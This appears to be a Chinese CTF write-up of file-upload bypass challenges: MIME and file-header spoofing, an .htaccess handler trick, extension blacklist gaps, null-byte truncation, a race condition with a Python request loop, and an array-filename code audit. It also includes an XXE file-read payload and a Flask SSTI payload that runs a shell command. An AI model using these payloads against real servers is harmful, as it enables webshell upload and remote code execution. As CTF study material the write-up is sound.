1.方法一:
禁用JavaScript,直接上传木马。
2.方法二:
将checkFile()函数删除后,上传木马。
MIME绕过媒体类型(通常称为 Multipurpose Internet Mail Extensions 或 MIME 类型 )是一种标准,用来表示文档、文件或字节流的性质和格式。
MIME的组成结构非常简单;由类型与子类型两个字符串中间用 '/' 分隔而组成。不允许空格存在。type 表示可以被分多个子类的独立类别。subtype 表示细分后的每个类型。
通用的结构为:type/subtype
MIME类型对大小写不敏感,但是传统写法都是小写。
我们只需要将Content-Type改为合适的类型就可以。
htaccesshtaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页301重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
上传一个.htaccess内容如下的文件:
1 2 SetHandler application/x-httpd-php 3
功能:将1.jpg按php文件执行
再上传1.jpg,完成木马注入。
利用蚁剑进行连接,获得flag。
文件头绕过只需要在文件开头加入正确的文件头,例如在gif文件的开头输入GIF89a:
再利用蚁剑进行连接。
常见文件头:
JPEG (jpg),文件头:FFD8FFPNG (png),文件头:89504E47GIF (gif),文件头:47494638HTML (html),文件头:68746D6C3EZIP Archive (zip),文件头:504B0304RAR Archive (rar),文件头:52617221Adobe Acrobat (pdf),文件头:255044462D312EMS Word/Excel (xls.or.doc),文件头:D0CF11E0
字符串替换-1有提示图片可以知道,该题目过滤了许多东西。
我们可以利用pphphp进行绕过,
字符串替换-2
与1不同的是,替换时加入了空格,我们可以利用大小写进行绕过:
黑名单
黑名单是设置不能通过的用户,黑名单以外的用户都能通过。
phtml、pht、php3、php4、php5后缀都会按做php文件执行,且不在黑名单内。
00截断-1 (GET型)
在1.php处进行连接。
00截断-2 (POST型)
在1.php处进行连接。
条件竞争
unlink()函数导致木马文件会在服务器存在一定的时间,再被清除。
我们可以利用burpsuit使文件反复上传,并利用python反复访问网页将上传的木马文件运行。
木马文件内容:
python文件内容:
import requestsurl = "文件位置"while True:requests.get(url)二次渲染(未成功)
1.找的一个gif图片,在图片末尾加入
2.上传图片到网页,并将图片下载下来。
3.在十六进制编辑器中,寻找两张图片相同的地方。
4.在相同的地方加入一句话木马,上传、连接。
代码审计 1 $is_upload = false; 2 $msg = null; 3 if(!empty($_FILES['upload_file'])){ 4 //检查MIME 5 $allow_type = array('image/jpeg','image/png','image/gif'); 6 if(!in_array($_FILES['upload_file']['type'],$allow_type)){ 7 $msg = "禁止上传该类型文件!"; 8 }else{ 9 //检查文件名10 $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];11 if (!is_array($file)) {12 $file = explode('.', strtolower($file));13 }14 15 $ext = end($file);16 $allow_suffix = array('jpg','png','gif');17 if (!in_array($ext, $allow_suffix)) {18 $msg = "禁止上传该后缀文件!";19 }else{20 $file_name = reset($file) . '.' . $file[count($file) - 1];21 $temp_file = $_FILES['upload_file']['tmp_name'];22 $img_path = UPLOAD_PATH . '/' .$file_name;23 if (move_uploaded_file($temp_file, $img_path)) {24 $msg = "文件上传成功!";25 $is_upload = true;26 } else {27 $msg = "文件上传失败!";28 }29 }30 }31 }else{32 $msg = "请选择要上传的文件!";33 }action属性是提交的目标。
method属性是提交所用的HTTP方法,常用的就是 POST 和 GET,文件上传一般用 POST。
enctype属性必须要写成这样,因为文件上传和普通的提交具有不同的编码方式。如果不写的话,可能会被当做urlencoded,就是k1=v1&k2=v2的键值对形式,导致解析不出东西。
最后是文件输入框,它的name属性非常重要,它是PHP脚本中寻找文件的关键字。
接下来是PHP脚本中的东西,PHP中通过$_FILES对象来读取文件,通过下列几个属性:
$_FILES[file]['name'] - 被上传文件的名称。
$_FILES[file]['type'] - 被上传文件的类型。
$_FILES[file]['size'] - 被上传文件的大小(字节)。
$_FILES[file]['tmp_name'] - 被上传文件在服务器保存的路径,通常位于临时目录中。
$_FILES[file]['error'] - 错误代码,0为无错误,其它都是有错误。
如果上传的是数组的话,会跳过$file = explode('.', strtolower($file));。并且后缀有白名单过滤。
而最终的文件名后缀取的是$file[count($file) - 1],因此我们可以让$file为数组。$file[0]为1.php/,也就是reset($file),然后再令$file[2]为白名单中的jpg。
此时end($file)等于jpg,$file[count($file) - 1]为空。而 $file_name = reset($file) . '.' . $file[count($file) - 1];,也就是1.php/.,最终move_uploaded_file会忽略掉/.,最终上传1.php。
在./upload/1.php处进行连接。
xxe-lab
1 2 DOCTYPE admin [3 SYSTEM "file:///路径">4 ]>5 &test;admin
web1 1
参数coffee不能是数字或数字字符串,且coffee==8888
可以利用?coffee=8888%00进行绕过。
web2过滤了cat,flag
我们可以用more等替换cat,用/f*替换/flag
flask-template
?name={{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['__import__']('os').popen('cat ../flag').read()}}
不可能的任务 1